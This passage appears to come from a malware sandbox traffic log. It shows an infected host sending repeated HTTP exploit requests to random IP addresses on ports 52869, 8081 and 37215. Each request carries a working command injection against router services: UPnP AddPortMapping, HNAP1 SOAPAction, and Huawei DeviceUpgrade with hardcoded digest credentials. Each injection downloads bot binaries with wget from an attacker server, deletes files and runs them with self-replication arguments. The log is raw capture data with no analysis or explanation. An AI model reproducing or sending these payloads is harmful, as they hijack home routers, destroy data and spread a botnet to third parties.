6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.15	57872	195.62.101.45	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.392915010 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.15	33188	4.232.226.241	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.394191980 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.15	52870	32.161.26.237	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.396194935 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.15	56016	69.210.2.130	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.397604942 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.15	49394	118.166.213.249	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.400219917 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.15	60644	80.66.53.41	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.400634050 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.15	52272	149.156.0.71	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.403673887 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.15	51212	75.245.37.135	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.425581932 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.15	60270	41.114.206.140	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.430383921 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.15	56722	157.29.91.154	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.430383921 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.15	43798	103.246.101.15	37215

Timestamp	Bytes transferred	Direction	Data
